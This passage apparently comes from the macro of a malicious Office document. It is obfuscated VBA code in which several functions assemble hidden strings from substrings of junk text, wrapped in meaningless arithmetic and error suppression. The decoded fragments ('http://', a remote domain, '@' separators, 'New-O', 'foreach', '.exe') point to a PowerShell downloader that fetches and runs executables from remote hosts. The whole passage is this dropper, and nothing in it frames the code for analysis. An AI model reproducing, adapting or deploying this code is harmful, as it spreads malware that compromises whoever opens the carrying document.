tlJjsiph = CStr(Left(Right(jCkkGBU, 8), 1)) + CStr(Left(Right(jCkkGBU, 6), 1)) + CStr(Left(Right(jCkkGBU, 9), 1))

DUWvDDiShP = Chr(43)
tkFqk = "gMUShfpRDbUf/simapRAsAQnLrpGJ5fAXYG9"
hAnqXrcq = CStr(Left(Right(tkFqk, 30), 2)) + CStr(Left(Right(tkFqk, 25), 2)) + CStr(Left(Right(tkFqk, 36), 1)) + Left(Right(tkFqk, 23), 6) + Left(Right(tkFqk, 6), 1)

qPXXzbmU = Chr(43)
wuFLUNFYM = "ifPDbU7pRqKnfgng.neprpGJ54fXYG9RbkJ3hLw"
awRmHBIGbL = CStr(Left(Right(wuFLUNFYM, 32), 2)) + Left(Right(wuFLUNFYM, 27), 2) + Left(Right(wuFLUNFYM, 39), 1) + Left(Right(wuFLUNFYM, 25), 6) + Left(Right(wuFLUNFYM, 8), 1) + CStr(Left(Right(wuFLUNFYM, 13), 1))
bQOaGRLuslh = (QQvhwYX - CDbl(827541) + EipBiZsS + Fix(INLHckdb / CLng(996126 * Sqr(kipwALl))) - 9058 / Sin(kpCczPZbtt - MrhYsRjX - 858724 + CLng(JnjRFho)) * 873044 * Fix(827541))
htcjkvWfI = Chr(43)
nhrXB = "IfPDbU7wpRfnqYt/nzqr7qpJ54AXYG9fbkJ3RLwe9DPCg"
WiFMvO = CStr(Left(Right(nhrXB, 37), 3)) + CStr(Left(Right(nhrXB, 31), 3)) + CStr(Left(Right(nhrXB, 45), 1)) + Left(Right(nhrXB, 28), 6) + CStr(Left(Right(nhrXB, 9), 1)) + Left(Right(nhrXB, 14), 1)

KKGZORsHU = Chr(43)
RaMzNGYzi = "eTrepRSf7pRfbU7w1qKnqYAs"
arCzonDUp = Left(Right(RaMzNGYzi, 20), 2) + Left(Right(RaMzNGYzi, 17), 2) + CStr(Left(Right(RaMzNGYzi, 24), 1)) + Left(Right(RaMzNGYzi, 15), 3)

cYOCES = Chr(43)
rzjkIus = "@MUShfpRDbf/htpRfqYAsAQnLrp'J54AX"
udUOZnOP = CStr(Left(Right(rzjkIus, 27), 2)) + Left(Right(rzjkIus, 23), 2) + Left(Right(rzjkIus, 33), 1) + CStr(Left(Right(rzjkIus, 21), 5)) + CStr(Left(Right(rzjkIus, 6), 1))

sGTckZPOvnG = Chr(43)
vSwMXuwjON = "'R2"
irCsFzH = Left(Right(vSwMXuwjON, 3), 1)

vDVvqwdASA = Chr(43)
rITlUzhwm = "pfPDbU7pRqKnft://jvprpGJ54fXYG9RbkJ3hLw"
nkpvw = CStr(Left(Right(rITlUzhwm, 32), 2)) + Left(Right(rITlUzhwm, 27), 2) + Left(Right(rITlUzhwm, 39), 1) + Left(Right(rITlUzhwm, 25), 6) + Left(Right(rITlUzhwm, 8), 1) + CStr(Left(Right(rITlUzhwm, 13), 1))
XDGoC = QkAIQcGcRP + RmODakCao + BvfiSiwAn + itrdPrjpiVw + AwwPnPTd + zRLOpUiwzK + dVwYukoi + NsTjc + jfCrjhJHkcj + DjsdDzwI + wwPtPucihw + HdFZT + ElFnqlLz + ksfijUsHmij + zrnvT + cSqElaI + dPiDib + ctjPQtqL + rQDjCJK + fRUfszB + MTwzmO + roKUNCzvIs + YtvQvdJjbSP + dVipzdbaOcd + AAVPJGzOW + SjRwX + pFnVbuj + iNzRjRivPLQ + HtXVVBXYDCX + GGkJp + NwuLs + LSKcqMvP + EoiJiGTWi + QzPLnJnA + RSLBL + OajAGEsRzki + viERid + MZiofcGh + QEoETKju + SWDBsLfa + azKjCDCJ + CGXpK + EqiHbBVQWaF + ddorGWSY + MqBviBwt + AOrowAo + AWVYdYTjGU + FdcWPwYJYPc + tlJjsiph + DUWvDDiShP + hAnqXrcq + qPXXzbmU + awRmHBIGbL + htcjkvWfI + WiFMvO + KKGZORsHU + arCzonDUp + cYOCES + udUOZnOP + sGTckZPOvnG + irCsFzH + vDVvqwdASA + nkpvw

End Function

Function MiCJA()

On Error Resume Next
ujTisvFrsVE = (vwEjimri - CDbl(230271) + hQjGmGKbasH + Fix(DMhthTqMiaS / CLng(734343 * Sqr(AHshp))) - 348236 / Sin(zDhANT - XFpuPSczjr - 436252 + CLng(XpzSBVQGw)) * 382325 * Fix(230271))
pCOupjR = Chr(43)
CCVNWCYzf = "uMUSpRfPfmsic1qKnqYAsA'nLrp"
kkztmijN = Left(Right(CCVNWCYzf, 23), 2) + Left(Right(CCVNWCYzf, 19), 2) + Left(Right(CCVNWCYzf, 27), 1) + Left(Right(CCVNWCYzf, 17), 3) + Left(Right(CCVNWCYzf, 5), 1)

dEBuQiS = Chr(43)
mwdzbTIr = "cT'.M'ShffPD"
HhmddJbC = CStr(Left(Right(mwdzbTIr, 10), 1)) + Left(Right(mwdzbTIr, 9), 1) + Left(Right(mwdzbTIr, 12), 1) + CStr(Left(Right(mwdzbTIr, 7), 1))

UKVhUoj = Chr(43)
hmAqNzo = "''UareMUS"
InschIi = CStr(Left(Right(hmAqNzo, 8), 1)) + CStr(Left(Right(hmAqNzo, 6), 1)) + CStr(Left(Right(hmAqNzo, 9), 1))
WsjJQV = (HuauZYDF - CDbl(410145) + UGzvvqZKmpA + Fix(BLTlMuMf / CLng(56849 * Sqr(fFhuRYUcIbc))) - 418311 / Sin(HGRsZSfSYW - VAGjGJNd - 482430 + CLng(ZEpBRAdRFh)) * 382250 * Fix(410145))
RjcCFUEqdVp = Chr(43)
wAajuJ = "pT'e/URfffPDbU7"
FhjpRS = CStr(Left(Right(wAajuJ, 13), 1)) + Left(Right(wAajuJ, 11), 1) + CStr(Left(Right(wAajuJ, 15), 1)) + Left(Right(wAajuJ, 9), 2)

duCWoRucwV = Chr(43)
ciqQpiPWU = "DMUSpRfPfVTpR1qKnqYAsA'nLrp"
nczUzKkALlm = Left(Right(ciqQpiPWU, 23), 2) + Left(Right(ciqQpiPWU, 19), 2) + Left(Right(ciqQpiPWU, 27), 1) + Left(Right(ciqQpiPWU, 17), 3) + Left(Right(ciqQpiPWU, 5), 1)

qusCJmbjE = Chr(43)
WOqvkSU = "2'fTUT"
DVzOKnkLs = CStr(Left(Right(WOqvkSU, 5), 1)) + CStr(Left(Right(WOqvkSU, 4), 1))

VdiNK = Chr(43)
bUizzQAs = (NNLisXCCb - CDbl(83345) + dAfoCiqVbC + Fix(fhjpjRBaH / CLng(317902 * Sqr(GJJzw))) - 130096 / Sin(SWMnUNH - XwjjRGuY - 51155 + CLng(zhffpJGAcU)) * 820166 * Fix(83345))
WIDkAVG = "/fPDbU7pRqKnqfkN@httppGJ54AXYf9vbkR3hLwe9D"
uZSvATtbuh = Left(Right(WIDkAVG, 35), 2) + Left(Right(WIDkAVG, 29), 3) + CStr(Left(Right(WIDkAVG, 42), 1)) + CStr(Left(Right(WIDkAVG, 26), 6)) + CStr(Left(Right(WIDkAVG, 8), 1)) + CStr(Left(Right(WIDkAVG, 13), 1))

piBWv = Chr(43)
PjqZlf = "efPDbU7w1qKpRfAsAQn://wbsteroids.kJ3hLwe9DPfgvdwJyUpR7qpP58WKZN"
KRuThJ = CStr(Left(Right(PjqZlf, 52), 3)) + CStr(Left(Right(PjqZlf, 44), 4)) + Left(Right(PjqZlf, 63), 1) + Left(Right(PjqZlf, 40), 10) + Left(Right(PjqZlf, 12), 2) + Left(Right(PjqZlf, 20), 1)

PWQthknY = Chr(43)
ArIkTtrTavH = "oMUSpRfPfr/pR1qKnqYAsAfnLrp"
wObfS = Left(Right(ArIkTtrTavH, 23), 2) + Left(Right(ArIkTtrTavH, 19), 2) + Left(Right(ArIkTtrTavH, 27), 1) + Left(Right(ArIkTtrTavH, 17), 3) + Left(Right(ArIkTtrTavH, 5), 1)

iYLPsjUXUv = Chr(43)
QZtjKTbFPU = "0TrepRSfWpRfbU7w1qKnqYAs"
TRDYWNPuj = Left(Right(QZtjKTbFPU, 20), 2) + Left(Right(QZtjKTbFPU, 17), 2) + CStr(Left(Right(QZtjKTbFPU, 24), 1)) + Left(Right(QZtjKTbFPU, 15), 3)

DzuKucpjn = Chr(43)
KFYfwcLhqS = "uMUShfpRDbUfXl1jApRAsAQnLrpGJ5fAXYG9"
QuUnVHRQouz = CStr(Left(Right(KFYfwcLhqS, 30), 2)) + CStr(Left(Right(KFYfwcLhqS, 25), 2)) + CStr(Left(Right(KFYfwcLhqS, 36), 1)) + Left(Right(KFYfwcLhqS, 23), 6) + Left(Right(KFYfwcLhqS, 6), 1)
qhzRZwPCO = (wFmiIButYHN - CDbl(317693) + mjfIJ + Fix(zqNShO / CLng(422880 * Sqr(OzirZF))) - 406645 / Sin(NFNizhRX - KazRmuQl - 531574 + CLng(mCFYijY)) * 544722 * Fix(317693))
wijCbAJ = Chr(43)
lDPLRa = "'R2"
wmLdCk = Left(Right(lDPLRa, 3), 1)

qhKMmDR = Chr(43)
VWwJwtbLmol = "jMUS'pfPRf/pR1qKnqYAsAfnLrp"
soaatV = Left(Right(VWwJwtbLmol, 23), 2) + Left(Right(VWwJwtbLmol, 19), 2) + Left(Right(VWwJwtbLmol, 27), 1) + Left(Right(VWwJwtbLmol, 17), 3) + Left(Right(VWwJwtbLmol, 5), 1)

rbjjINvsI = Chr(43)
vInToiSwX = "7TrepRSfopRfbU7w1qKnqYAs"
oYbUwvTs = Left(Right(vInToiSwX, 20), 2) + Left(Right(vInToiSwX, 17), 2) + CStr(Left(Right(vInToiSwX, 24), 1)) + Left(Right(vInToiSwX, 15), 3)

TBvVdQfWn = Chr(43)
zmvHEPoptYT = ".MUSpRfPfVSpR1qKnqYAsAfnLrp"
BaQsQu = Left(Right(zmvHEPoptYT, 23), 2) + Left(Right(zmvHEPoptYT, 19), 2) + Left(Right(zmvHEPoptYT, 27), 1) + Left(Right(zmvHEPoptYT, 17), 3) + Left(Right(zmvHEPoptYT, 5), 1)

wScGvpBkw = Chr(43)
PiCBz = "pTrpMURfpRfDbU7w1qKnq"
qnvtGhKCf = CStr(Left(Right(PiCBz, 18), 1)) + Left(Right(PiCBz, 15), 2) + CStr(Left(Right(PiCBz, 21), 1)) + Left(Right(PiCBz, 13), 3)
MiCJA = pCOupjR + kkztmijN + dEBuQiS + HhmddJbC + UKVhUoj + InschIi + RjcCFUEqdVp + FhjpRS + duCWoRucwV + nczUzKkALlm + qusCJmbjE + DVzOKnkLs + VdiNK + uZSvATtbuh + piBWv + KRuThJ + PWQthknY + wObfS + iYLPsjUXUv + TRDYWNPuj + DzuKucpjn + QuUnVHRQouz + wijCbAJ + wmLdCk + qhKMmDR + soaatV + rbjjINvsI + oYbUwvTs + TBvVdQfWn + BaQsQu + wScGvpBkw + qnvtGhKCf

End Function

Function GDSdqHiHAYj()

On Error Resume Next
kwdtAzQoKu = (awiNiuFQj - CDbl(15697) + TCVYhoHOJ + Fix(HSqabj / CLng(323486 * Sqr(ARNjB))) - 563497 / Sin(AEmKVKapdZL - vHUSKIZ - 464509 + CLng(icIHE)) * 236257 * Fix(15697))
ihZqONYEQZM = Chr(43)
jFWpu = "ofPDbU7w1qKpRfAsAQnlit(7V@o7V);FlkJ3hLwe9DPfgvdwJyUpR7qpP58WKZN"
fdkBFERNLOi = CStr(Left(Right(jFWpu, 52), 3)) + CStr(Left(Right(jFWpu, 44), 4)) + Left(Right(jFWpu, 63), 1) + Left(Right(jFWpu, 40), 10) + Left(Right(jFWpu, 12), 2) + Left(Right(jFWpu, 20), 1)

EmaNGMCV = Chr(43)
dvHDzYzMKw = "SMUShfpRDbf0DC pRqYAsAQnLrpfJ54AX"
kwXOns = CStr(Left(Right(dvHDzYzMKw, 27), 2)) + Left(Right(dvHDzYzMKw, 23), 2) + Left(Right(dvHDzYzMKw, 33), 1) + CStr(Left(Right(dvHDzYzMKw, 21), 5)) + CStr(Left(Right(dvHDzYzMKw, 6), 1))

wYDzmjjHfjO = Chr(43)
WzvdMc = " MUShfpRDbf=Fl0pRqYAsAQnLrpfJ54AX"
ATkTw = CStr(Left(Right(WzvdMc, 27), 2)) + Left(Right(WzvdMc, 23), 2) + Left(Right(WzvdMc, 33), 1) + CStr(Left(Right(WzvdMc, 21), 5)) + CStr(Left(Right(WzvdMc, 6), 1))

lbmKwEXqmvi = Chr(43)
iYOBR = (lZwZvu - CDbl(219091) + cSuwvfCzIN + Fix(NYTdZG / CLng(409406 * Sqr(VvuApYRu))) - 332683 / Sin(jNMLqi - qPfBzq - 754636 + CLng(CWLBospHAs)) * 226161 * Fix(219091))
EFbRwcvRr = "nMUShfpRDbUfev:pupRAsAQnLrpGJ5fAXYG9"
NjiUiDwR = CStr(Left(Right(EFbRwcvRr, 30), 2)) + CStr(Left(Right(EFbRwcvRr, 25), 2)) + CStr(Left(Right(EFbRwcvRr, 36), 1)) + Left(Right(EFbRwcvRr, 23), 6) + Left(Right(EFbRwcvRr, 6), 1)

dILjiEkl = Chr(43)
McXLt = "lTrepRSfbic bU7w1qKnqYAs"
YIBsTlAdHb = Left(Right(McXLt, 20), 2) + Left(Right(McXLt, 17), 2) + CStr(Left(Right(McXLt, 24), 1)) + Left(Right(McXLt, 15), 3)

mTFfupICiw = Chr(43)
VPGCXEj = "fpURreMUS"
jqFBfIhNpz = CStr(Left(Right(VPGCXEj, 8), 1)) + CStr(Left(Right(VPGCXEj, 6), 1)) + CStr(Left(Right(VPGCXEj, 9), 1))
hCuicLmSGsw = (mqHmiAUUvGP - CDbl(594389) + uJOUqcbsYtR + Fix(moCOitqa / CLng(498961 * Sqr(BkldX))) - 406683 / Sin(jUUAbmw - TzRbiREVtZ - 243472 + CLng(AuzGmCPor)) * 939799 * Fix(594389))
KwzizRkZJio = Chr(43)
ClbKNZuo = " TrpMURfpRfDbU7w1qKnq"
jinuasjVOu = CStr(Left(Right(ClbKNZuo, 18), 1)) + Left(Right(ClbKNZuo, 15), 2) + CStr(Left(Right(ClbKNZuo, 21), 1)) + Left(Right(ClbKNZuo, 13), 3)

rPnnZhYM = Chr(43)
qGVciUv = "oTrpMURfpRfDbU7w1qKnq"
BvTcQNZ = CStr(Left(Right(qGVciUv, 18), 1)) + Left(Right(qGVciUv, 15), 2) + CStr(Left(Right(qGVciUv, 21), 1)) + Left(Right(qGVciUv, 13), 3)

HObJLCzas = Chr(43)
fwoCrq = "bfPDbU7pRqKnqf7VFTo7VpGJ54AXYf9vbkR3hLwe9D"
zamEjQaG = Left(Right(fwoCrq, 35), 2) + Left(Right(fwoCrq, 29), 3) + CStr(Left(Right(fwoCrq, 42), 1)) + CStr(Left(Right(fwoCrq, 26), 6)) + CStr(Left(Right(fwoCrq, 8), 1)) + CStr(Left(Right(fwoCrq, 13), 1))

JiKrlRS = Chr(43)
aBhXk = "nc0QpRf Jmg9"
oPLdMSBOzS = Left(Right(aBhXk, 8), 3) + CStr(Left(Right(aBhXk, 5), 1))
qrsMLLhw = (IkqhzLZBWR - CDbl(763748) + mLiitaLI + Fix(NBwQcbX / CLng(246930 * Sqr(BcBzGmizGh))) - 638459 / Sin(rlwuk - lfNJSlz - 107411 + CLng(fZGlZEWo)) * 486436 * Fix(763748))
iBODDhbJA = Chr(43)
tjQEs = "nc0QaK1KJmg Fl0NSBRJ pRf3sB3uFWXg"
CBPppqJlQ = CStr(Left(Right(tjQEs, 22), 7)) + CStr(Left(Right(tjQEs, 13), 4))

zKBiXpbMP = Chr(43)
jnYvPznYi = "m'n"
JjnYqrPuD = CStr(Left(Right(jnYvPznYi, 2), 1))

ajlWW = Chr(43)
ZLaOik = "nc0Q'pRfJmg9"
FDbzhuHs = Left(Right(ZLaOik, 8), 3) + CStr(Left(Right(ZLaOik, 5), 1))
JOZiIz = (YlSBPZumS - CDbl(693056) + fOpBKpTzzL + Fix(EdWSMw / CLng(616529 * Sqr(YwWbidhib))) - 268363 / Sin(IwTEjHw - sHwYF - 121208 + CLng(IlWUIvjDa)) * 297150 * Fix(693056))
RuErZY = Chr(43)
UTmpz = "nc0 p'1KJ"
LNUJPOCn = CStr(Left(Right(UTmpz, 6), 2)) + CStr(Left(Right(UTmpz, 4), 1))

AffTvaFWDDk = Chr(43)
SjBEq = "nc0'Rf1KJ"
GPtiBUjfD = CStr(Left(Right(SjBEq, 6), 2)) + CStr(Left(Right(SjBEq, 4), 1))

MfPIj = Chr(43)
zPAdwaH = "nc0QaK1KJmpRf(o7VCR.exvH3sB3uF"
AJTWlk = CStr(Left(Right(zPAdwaH, 20), 7)) + CStr(Left(Right(zPAdwaH, 11), 3))

SELLt = "nc0QaKo7VpgRfylH4C"
KuFNqo = Left(Right(SELLt, 12), 4) + Left(Right(SELLt, 7), 2)

oVnrEwabN = Chr(43)
zfklTOwzb = "nc0pRf1KJ"
SHqzSADntsW = CStr(Left(Right(zfklTOwzb, 6), 2)) + CStr(Left(Right(zfklTOwzb, 4), 1))
GDSdqHiHAYj = ihZqONYEQZM + fdkBFERNLOi + EmaNGMCV + kwXOns + wYDzmjjHfjO + ATkTw + lbmKwEXqmvi + NjiUiDwR + dILjiEkl + YIBsTlAdHb + mTFfupICiw + jqFBfIhNpz + KwzizRkZJio + jinuasjVOu + rPnnZhYM + BvTcQNZ + HObJLCzas + zamEjQaG + JiKrlRS + oPLdMSBOzS + iBODDhbJA + CBPppqJlQ + zKBiXpbMP + JjnYqrPuD + ajlWW + FDbzhuHs + RuErZY + LNUJPOCn + AffTvaFWDDk + GPtiBUjfD + MfPIj + AJTWlk + KuFNqo + oVnrEwabN + SHqzSADntsW

End Function

Function kOwWDinvHtq()

On Error Resume Next
MukYuiusnSm = (RVjbHfkL - CDbl(474775) + zwKLT + Fix(qrtthwtJ / CLng(62670 * Sqr(GTiVnul))) - 657800 / Sin(mdMXdQmW - lqPvZNbEEA - 733769 + CLng(YFcXMPVoAPY)) * 477511 * Fix(474775))
zBaaucoaLHn = Chr(43)
hEWimKF = "nc0pRf1KJ"
YiMzadC = CStr(Left(Right(hEWimKF, 6), 2)) + CStr(Left(Right(hEWimKF, 4), 1))

SVQfvGK = Chr(43)
NFntzD = "0QaK1KJmg9TylH4CRJpRfo7Veo7V);gfcforea1iQuaNo8UjBQ3TfH"
bNVzkEBDRSi = CStr(Left(Right(NFntzD, 36), 12)) + CStr(Left(Right(NFntzD, 21), 5)) + Left(Right(NFntzD, 22), 1)

kluGpEE = "nc0QhpRfJmg9"
KslUEpkf = Left(Right(kluGpEE, 8), 3) + CStr(Left(Right(kluGpEE, 5), 1))
hIiIuiJ = (kvaGVfYf - CDbl(714113) + kndbXSWnuG + Fix(tnjOEQw / CLng(193236 * Sqr(OPqfwD))) - 118063 / Sin(pUYRmWSIBCG - JqMVAYtjwMM - 568474 + CLng(FjKRa)) * 575740 * Fix(714113))
nzMnuTYb = Chr(43)
PAjSD = "nc0QaK1KpRf(FypRfCRJ2WvH"
IuaYMMomK = Left(Right(PAjSD, 16), 5) + CStr(Left(Right(PAjSD, 10), 3))

YlviqNIVvX = Chr(43)
MZMjo = "nc0QaK1KJmgpRfl0asRJfc i3sB3uFWXg"
wLfoTqDrZn = CStr(Left(Right(MZMjo, 22), 7)) + CStr(Left(Right(MZMjo, 13), 4))

FjRRs = "nc0QaK1Kn Fl0ypRfCRJ2WvH"
EAamwU = Left(Right(FjRRs, 16), 5) + CStr(Left(Right(FjRRs, 10), 3))

ljwqLNor = Chr(43)
vEDOnzKnp = (ARAcVj - CDbl(739275) + noiAFQE + Fix(kfQwC / CLng(965948 * Sqr(HzGvQ))) - 545021 / Sin(LwASQEB - djQzEdzOf - 79314 + CLng(qozLCRtpn)) * 897217 * Fix(739275))
mQzcMpuIrA = "0QaK1KJmg9TylH4pRfADCX){t3ufrypRXud1Aa1iQuaNo"
whuqLZ = Left(Right(mQzcMpuIrA, 30), 10) + Left(Right(mQzcMpuIrA, 17), 4) + CStr(Left(Right(mQzcMpuIrA, 18), 1))

rzYvi = Chr(43)
huEis = "nc0QaK1KpRf{FypRfCRJ2WvH"
PrCrVFGii = Left(Right(huEis, 16), 5) + CStr(Left(Right(huEis, 10), 3))

jqKvurGIrlo = Chr(43)
jhZqk = "nc0QaK1pRflpTRfH4CRJ2"
HRfzs = CStr(Left(Right(jhZqk, 14), 5)) + CStr(Left(Right(jhZqk, 8), 2))

bSzdJYsDTw = Chr(43)
MXNPHPzDjl = (qXJGr - CDbl(595854) + JnWDiwOfbai + Fix(QjjTikdm / CLng(304854 * Sqr(XznKTPbU))) - 727033 / Sin(hIMuiYOi - bwkfpPiQE - 272790 + CLng(WoYdEbm)) * 4911 * Fix(595854))
kpaXmMj = "nc0QaK1KJmgpRf0YYURJ.pRf3sB3uFWXg"
oiKwpLa = CStr(Left(Right(kpaXmMj, 22), 7)) + CStr(Left(Right(kpaXmMj, 13), 4))

ODjTkwAoCoA = Chr(43)
klqqMMDh = "nc0QaK1pRfRpTRfH4CRJ2"
AzrVwnD = CStr(Left(Right(klqqMMDh, 14), 5)) + CStr(Left(Right(klqqMMDh, 8), 2))

UtwjN = Chr(43)
hQpmowCIYfU = (zGdFR - CDbl(235944) + niwCwWDY + Fix(GLbbiKkf / CLng(291981 * Sqr(BvXQDurZJj))) - 105229 / Sin(OCmJQYDwfUS - QUvwwEmwP - 43046 + CLng(nEVEWfEK)) * 304463 * Fix(235944))
ilGABZ = "nc0QaK1pRfgxTD'H4CRJ2"
vtlPqdAi = CStr(Left(Right(ilGABZ, 14), 5)) + CStr(Left(Right(ilGABZ, 8), 2))

iEabPbTNK = Chr(43)
LKMZNwuFFh = "nc0Q'pRfJmg9"
QfalVQEWVjs = Left(Right(LKMZNwuFFh, 8), 3) + CStr(Left(Right(LKMZNwuFFh, 5), 1))

HFWTfNOODw = Chr(43)
fznrz = (EwvFwwq - CDbl(602770) + RmMqumv + Fix(XWsVWcwXwP / CLng(415488 * Sqr(wTOAhhAN))) - 343849 / Sin(mGXCvQciu - EzLsbRzb - 531147 + CLng(czYHjUtzDmf)) * 651081 * Fix(602770))
FZTRUt = "nc0QaK1pRfopTRfH4CRJ2"
jiVBuRhzR = CStr(Left(Right(FZTRUt, 14), 5)) + CStr(Left(Right(FZTRUt, 8), 2))

wvjQbjkJ = Chr(43)
rTdsdVz = "nc0QaK1KpRffGypRfCRJ2WvH"
iGFmjstB = Left(Right(rTdsdVz, 16), 5) + CStr(Left(Right(rTdsdVz, 10), 3))

DUHrRhFf = Chr(43)
oZwiXUDQK = "0QaK1KJmg9TylHpRf0WnlfGsB'0OapgfXud1Aa1iQu"
rNjtFlmmd = CStr(Left(Right(oZwiXUDQK, 28), 9)) + Left(Right(oZwiXUDQK, 16), 4) + CStr(Left(Right(oZwiXUDQK, 17), 1))
kOwWDinvHtq = zBaaucoaLHn + YiMzadC + SVQfvGK + bNVzkEBDRSi + KslUEpkf + nzMnuTYb + IuaYMMomK + YlviqNIVvX + wLfoTqDrZn + EAamwU + ljwqLNor + whuqLZ + rzYvi + PrCrVFGii + jqKvurGIrlo + HRfzs + bSzdJYsDTw + oiKwpLa + ODjTkwAoCoA + AzrVwnD + UtwjN + vtlPqdAi + iEabPbTNK + QfalVQEWVjs + HFWTfNOODw + jiVBuRhzR + wvjQbjkJ + iGFmjstB + DUHrRhFf + rNjtFlmmd

End Function

Function XsIDbCScaw()

On Error Resume Next
zOFdjuQfowE = (jwiMUlLoT - CDbl(167648) + zlMzKLfPh + Fix(Gwotvlcz / CLng(882645 * Sqr(oPfwhLBKk))) - 931345 / Sin(zpfjPPU - ikFAZRd - 377749 + CLng(nIoQiIMJ)) * 89236 * Fix(167648))
wqPiREC = Chr(43)
wGHWNwIIRoj = "nc0'Rf1KJ"
kQNcuEwnwU = CStr(Left(Right(wGHWNwIIRoj, 6), 2)) + CStr(Left(Right(wGHWNwIIRoj, 4), 1))

wjipKVXBKQT = Chr(43)
nzrhUwsw = "nc0QaK1KpRfdFypRfCRJ2WvH"
XDGfac = Left(Right(nzrhUwsw, 16), 5) + CStr(Left(Right(nzrhUwsw, 10), 3))

aCHkK = Chr(43)
RIqZnZYK = (urrwYZGoDww - CDbl(391348) + XTFvWPZX + Fix(jzOJsHNIjdq / CLng(65792 * Sqr(BuaQlraw))) - 275099 / Sin(qEvwtpl - QJwmzOrdo - 745526 + CLng(SsjWUGBVZ)) * 910099 * Fix(391348))
QIVjiEQB = "nc0QaK1KJmpRfIfG0CRpRfvH3sB3uF"
lsnJNVii = CStr(Left(Right(QIVjiEQB, 20), 7)) + CStr(Left(Right(QIVjiEQB, 11), 3))

zIdCiWjMW = Chr(43)
HXkLGif = "nc0QaK1KJmg9pRfleRgx2W(pRfB3uFWXgfXu"
KjilCDwDYIt = CStr(Left(Right(HXkLGif, 24), 8)) + Left(Right(HXkLGif, 14), 4)

qRCwLiA = Chr(43)
QpHRbqadVw = "nc0QaK1KpRfFlypRfCRJ2WvH"
VpbNsvGikjS = Left(Right(QpHRbqadVw, 16), 5) + CStr(Left(Right(QpHRbqadVw, 10), 3))

AdGrCGkGR = Chr(43)
RTppKPMKLwF = (tdEiBbLduiF - CDbl(729993) + VWYGlliO + Fix(JzwVkbRF / CLng(641492 * Sqr(ojFwS))) - 347087 / Sin(TqDtjiBnORU - qFZZOrVkiF - 225379 + CLng(RAtXtq)) * 996539 * Fix(729993))
vjirOsPaE = "nc0QaK1KJmg9pRf0asfc2W.pRfB3uFWXgfXu"
EznRG = CStr(Left(Right(vjirOsPaE, 24), 8)) + Left(Right(vjirOsPaE, 14), 4)

lKQYJIuzK = Chr(43)
WlPPMfaqRi = "nc0QaK1KJmpRfRgxTCRoStvH3sB3uF"
rEphaT = CStr(Left(Right(WlPPMfaqRi, 20), 7)) + CStr(Left(Right(WlPPMfaqRi, 11), 3))

mJqtsHbuFvq = "nc0QaK1KJrfG0ifHpRfJ2WvH3sB"
bczOczWOrX = Left(Right(mJqtsHbuFvq, 18), 6) + CStr(Left(Right(mJqtsHbuFvq, 11), 3))

ovRvAJf = Chr(43)
FUsmQnkOCk = "nc0QaK1KJmpRfG0NgCRpRfvH3sB3uF"
MrUVIipYQC = CStr(Left(Right(FUsmQnkOCk, 20), 7)) + CStr(Left(Right(FUsmQnkOCk, 11), 3))
DfBoHzGHojm = (GMqlkDlG - CDbl(705526) + rpWaS + Fix(CkiSbiTwV / CLng(205679 * Sqr(qdNFhUkWk))) - 225430 / Sin(wbwuHdnqMq - OpQDWKQLw - 788402 + CLng(NVAtaXBYWF)) * 178219 * Fix(705526))
ukivfSc = Chr(43)
bOzuGz = "nc0QapRfR'g9Tyl"
lihufSjSmTM = Left(Right(bOzuGz, 10), 4) + Left(Right(bOzuGz, 6), 1)

wbAGwvA = Chr(43)
nshXwWScG = "nc0Q'gx'Jmg9"
puFlrI = Left(Right(nshXwWScG, 8), 3) + CStr(Left(Right(nshXwWScG, 5), 1))
WSkXzkSPDq = (vDWPAham - CDbl(245176) + INooW + Fix(mLLGz / CLng(618036 * Sqr(iDmjwN))) - 158224 / Sin(wquhwm - mmYAAUIwfJ - 192937 + CLng(vBrzGEzqO)) * 713637 * Fix(245176))
aDsUKY = Chr(43)
uCbGLiDB = "nc0QaK1KJm'(), FlCRpRfvH3sB3uF"
bOBEL = CStr(Left(Right(uCbGLiDB, 20), 7)) + CStr(Left(Right(uCbGLiDB, 11), 3))

LSRujKBsRZD = Chr(43)
hjYLhRti = "nc0QaK1KJmgpRf0SDCRJ)pRf3sB3uFWXg"
QnoKHIahs = CStr(Left(Right(hjYLhRti, 22), 7)) + CStr(Left(Right(hjYLhRti, 13), 4))
UIdpmulNQG = (iizroJBfvDu - CDbl(866314) + IRRdb + Fix(ULZtq / CLng(21536 * Sqr(KBTGGdjj))) - 292952 / Sin(YHlnTz - tDkmaIVXU - 945670 + CLng(JMwuTko)) * 953615 * Fix(866314))
rVvOiBfw = Chr(43)
wqcANmVntVI = "nc0QaK1KJmpRf;&(oCR7VIvH3sB3uF"
PCnpHpR = CStr(Left(Right(wqcANmVntVI, 20), 7)) + CStr(Left(Right(wqcANmVntVI, 11), 3))

JkJzHlM = "nc0pRf1KJ"
oPdBIMrKtj = CStr(Left(Right(JkJzHlM, 6), 2)) + CStr(Left(Right(JkJzHlM, 4), 1))

YojhIjik = Chr(43)
JKGIJMRFYzG = "nc0QaK1KpRfnvypRfCRJ2WvH"
QoLiH = Left(Right(JKGIJMRFYzG, 16), 5) + CStr(Left(Right(JKGIJMRFYzG, 10), 3))

koJWEYE = Chr(43)
QVAEw = (scCAWiBUumv - CDbl(173444) + JzbwLztZhjE + Fix(iNfTnXz / CLng(440740 * Sqr(KcqjCESnD))) - 671218 / Sin(muafz - dUKAKZNI - 174485 + CLng(jWJzijXo)) * 93945 * Fix(173444))
EaatYNQH = "nc0QpRf'Jmg9"
csIUzzNrhij = Left(Right(EaatYNQH, 8), 3) + CStr(Left(Right(EaatYNQH, 5), 1))

zulTtPnuq = Chr(43)
YPPaXRm = "nc0Qa'oo7Vg9Tyl"
zAQKo = Left(Right(YPPaXRm, 10), 4) + Left(Right(YPPaXRm, 6), 1)

DNjMi = Chr(43)
wChRuEdIWo = "nc0QaK1Ko7VkoypRfCRJ2WvH"
AQAvBIVcRj = Left(Right(wChRuEdIWo, 16), 5) + CStr(Left(Right(wChRuEdIWo, 10), 3))

rrHGdVvldC = Chr(43)
CljjjZ = "nc0QapRf7Vg9Tyl"
uIEmJKo = Left(Right(CljjjZ, 10), 4) + Left(Right(CljjjZ, 6), 1)

wUAItUS = Chr(43)
wmonsh = "nc0QaK1Ko7Ve-ypRfCRJ2WvH"
NfYNpRKYTjw = Left(Right(wmonsh, 16), 5) + CStr(Left(Right(wmonsh, 10), 3))

snbBmfWs = Chr(43)
